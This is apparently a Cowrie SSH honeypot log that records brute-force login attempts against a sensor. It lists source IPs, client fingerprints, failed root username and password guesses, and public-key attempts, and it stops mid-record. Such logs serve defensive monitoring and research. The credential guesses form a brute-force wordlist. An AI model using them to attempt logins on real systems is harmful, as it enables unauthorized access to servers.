{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:10.857258Z","src_ip":"81.177.101.45","session":"b5f9b18bcfad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":45420,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdd8b57d65e6","protocol":"ssh","message":"New connection: 160.22.170.38:45420 (10.17.0.5:22) [session: fdd8b57d65e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:13.994462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:14.042706Z","src_ip":"160.22.170.38","session":"fdd8b57d65e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:14.280833Z","src_ip":"160.22.170.38","session":"fdd8b57d65e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"12345","message":"login attempt [develop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:15.531856Z","src_ip":"160.22.170.38","session":"fdd8b57d65e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:16.776230Z","src_ip":"160.22.170.38","session":"fdd8b57d65e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":58472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f610e31fd8d","protocol":"ssh","message":"New connection: 45.79.207.110:58472 (10.17.0.5:22) [session: 1f610e31fd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:18.485186Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:18.489400Z","src_ip":"45.79.207.110","session":"1f610e31fd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:18.492353Z","src_ip":"45.79.207.110","session":"1f610e31fd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":51996,"dst_ip":"10.17.0.5","dst_port":22,"session":"16af99cd8294","protocol":"ssh","message":"New connection: 211.251.245.88:51996 (10.17.0.5:22) [session: 16af99cd8294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:23.841905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:23.845694Z","src_ip":"211.251.245.88","session":"16af99cd8294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:24.052829Z","src_ip":"211.251.245.88","session":"16af99cd8294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.q","message":"login attempt [root/123456.q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:24.912691Z","src_ip":"211.251.245.88","session":"16af99cd8294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:26.121346Z","src_ip":"211.251.245.88","session":"16af99cd8294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":45810,"dst_ip":"10.17.0.5","dst_port":22,"session":"569e0f21b8ef","protocol":"ssh","message":"New connection: 103.78.1.33:45810 (10.17.0.5:22) [session: 569e0f21b8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:41.071787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:41.075703Z","src_ip":"103.78.1.33","session":"569e0f21b8ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:41.304218Z","src_ip":"103.78.1.33","session":"569e0f21b8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfghj1","message":"login attempt [root/Asdfghj1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:42.785398Z","src_ip":"103.78.1.33","session":"569e0f21b8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:44.071014Z","src_ip":"103.78.1.33","session":"569e0f21b8ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":48890,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e275cd2e93b","protocol":"ssh","message":"New connection: 118.26.36.195:48890 (159.203.135.109:22) [session: 4e275cd2e93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:52.264594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:52.268404Z","src_ip":"118.26.36.195","session":"4e275cd2e93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:52.486792Z","src_ip":"118.26.36.195","session":"4e275cd2e93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin2025","message":"login attempt [root/@Dmin2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:53.395463Z","src_ip":"118.26.36.195","session":"4e275cd2e93b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:54.617379Z","src_ip":"118.26.36.195","session":"4e275cd2e93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":38506,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f6304c04fac","protocol":"ssh","message":"New connection: 185.113.139.51:38506 (159.203.135.109:22) [session: 3f6304c04fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:59.874009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:59.877855Z","src_ip":"185.113.139.51","session":"3f6304c04fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:59.985251Z","src_ip":"185.113.139.51","session":"3f6304c04fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sekip333#","message":"login attempt [root/Sekip333#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:00.444012Z","src_ip":"185.113.139.51","session":"3f6304c04fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:01.553145Z","src_ip":"185.113.139.51","session":"3f6304c04fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.185","src_port":58004,"dst_ip":"10.17.0.5","dst_port":22,"session":"23d51b506a56","protocol":"ssh","message":"New connection: 31.42.184.185:58004 (10.17.0.5:22) [session: 23d51b506a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:08.497862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:08.502061Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:08.662258Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:79:c3:4f:ae:ca:ac:8c:aa:b5:46:80:52:59:31:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII5JZVGO4KCmb9OWr9cYPbWJIN7PStm09rxZWt2cEnEB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5d:79:c3:4f:ae:ca:ac:8c:aa:b5:46:80:52:59:31:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.425956Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:79:c3:4f:ae:ca:ac:8c:aa:b5:46:80:52:59:31:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII5JZVGO4KCmb9OWr9cYPbWJIN7PStm09rxZWt2cEnEB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.428806Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:d3:47:85:4f:49:04:0d:c2:e1:48:b1:ec:5a:98:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuoSZ5Os38hyaKaIm/N8oHEhkoUr+5S8kfRA80CYf6Q0rXgi6fZjC2cr/sGJeUoi5Qf1SnztR/JXk4lbwQ4CFJpfle+tVXjOkRttZBATazyZ8U6p7Z6ahHgSeFZblIMbEc3QpcuXHqcMTK1TPmecxP9NhQ7xKq0cVW9vWD3ktQgut3tjHIyBMMl592TMXOm/SsaZqTpqk0eDFeaDEDk5QHRNoXSgO6n6uP4KwsqZU7QwGOm0eCY7SeaqUoX9i3ELuA3S8P3ZXe3GZc4u7lAJBmcnHcubUhhXPkfLiuogv57yqThdmKxxSbRALRmQBjO7rGusA3g26KO/T9Z010XFpammQeHxk2ht80fQH/OCMGQJq+K653suKs32fibqintiQB9UGjSbQGdBoYts7RoKsrAq4crUUjWt7RB8rP8vActj3lkIsOUDfDqrIjMH75kEQJ9DApvsVIvWqzpdnCHBklzRHFjZZcROXzKvaUKJsS+2NRrTt8fhMNIVLbAe2VoVxoduRFCj6AnUbBDOrDW6tHbJ3cJeB4HlMJnZcIQp9GJl6MQmBd8lVWxWjfYrrHXh5tViUjjFgLxjsKqTngzmMWn/9zOjXJIufGdhUimOTf1iujgpm5tj3Zoxuz5mf5+939yiSky+EwQNEnxIjN+/C/66qG89RGm4/2XZQTao8Xuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:d3:47:85:4f:49:04:0d:c2:e1:48:b1:ec:5a:98:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.584941Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:d3:47:85:4f:49:04:0d:c2:e1:48:b1:ec:5a:98:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuoSZ5Os38hyaKaIm/N8oHEhkoUr+5S8kfRA80CYf6Q0rXgi6fZjC2cr/sGJeUoi5Qf1SnztR/JXk4lbwQ4CFJpfle+tVXjOkRttZBATazyZ8U6p7Z6ahHgSeFZblIMbEc3QpcuXHqcMTK1TPmecxP9NhQ7xKq0cVW9vWD3ktQgut3tjHIyBMMl592TMXOm/SsaZqTpqk0eDFeaDEDk5QHRNoXSgO6n6uP4KwsqZU7QwGOm0eCY7SeaqUoX9i3ELuA3S8P3ZXe3GZc4u7lAJBmcnHcubUhhXPkfLiuogv57yqThdmKxxSbRALRmQBjO7rGusA3g26KO/T9Z010XFpammQeHxk2ht80fQH/OCMGQJq+K653suKs32fibqintiQB9UGjSbQGdBoYts7RoKsrAq4crUUjWt7RB8rP8vActj3lkIsOUDfDqrIjMH75kEQJ9DApvsVIvWqzpdnCHBklzRHFjZZcROXzKvaUKJsS+2NRrTt8fhMNIVLbAe2VoVxoduRFCj6AnUbBDOrDW6tHbJ3cJeB4HlMJnZcIQp9GJl6MQmBd8lVWxWjfYrrHXh5tViUjjFgLxjsKqTngzmMWn/9zOjXJIufGdhUimOTf1iujgpm5tj3Zoxuz5mf5+939yiSky+EwQNEnxIjN+/C/66qG89RGm4/2XZQTao8Xuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.588075Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:df:31:1a:5f:45:b1:a5:9c:f3:82:ec:0e:1f:46:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXIDQ1EW4y0gapO/R5LJW8u68uugB3cQprisX5ajbfo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:df:31:1a:5f:45:b1:a5:9c:f3:82:ec:0e:1f:46:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.748288Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:df:31:1a:5f:45:b1:a5:9c:f3:82:ec:0e:1f:46:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXIDQ1EW4y0gapO/R5LJW8u68uugB3cQprisX5ajbfo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:36:09.752033Z","src_ip":"31.42.184.185","session":"23d51b506a56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:67:00:8b:55:cb:f2:33:4b:ad:48:99:5a:d7:90:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK1tWQKPtERZOcl295M6RXEiQ1zoZeaduBf9ZKxTtv3JobApubTFECms2UosNzxprFxC5jSnN8Tu/7HDVVbqErERsILGF8x7ysTF0yyDQ+wdxmQYFKMtvGVOFIenpYRodE1M5Tn+Olmd/HIkb4w3D+A8PAk7HnMY//f/uR0qHZLchXvBQuPKytfUYyZ/x9ocWdkFk1vyRWJZhk3D3QIWZ05nt3Rojf+2/CjHEBmU8Je1aEwB4/ac6wx4ZqmYoAxcUo1J6G1X/hpchMbdBRNJJccTXQ2VyzFrE2pCaENbMv+bt8iUHayGPkjLukFrf2RjBVG/BdTR8R7RttBwVy4UVSlzO2Opd89MmPRVp86QvxZ5q7J7b9Ger0ilt75tS84vM1Sryd3V+RtUUh1HrMTSP1y+VL7AAW+tROcfKuocxMqIYvW1h/HhWUYIpu5rCvLV6v6uizbfDHZDgKVIHDl7dXIoeXETb4scIv0mnCH+K63yE8s7uXcBs6Gho9i/B51Yimdn0DXej5OJW0/TGRG4lIcUvn1pxb/QvPygm4hMzW+bpM2Baq5ru6l54YlwpQ8vX6C6UQZuvyP1Nn6FCgkljHBc3xIBB0d+/gHfXGm8v5sNiH2XXCSHTTm13I57o331xmu1k2fA6RANZMRIGFdziSHjq+iiJvF2bZfi7Bgy2jZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 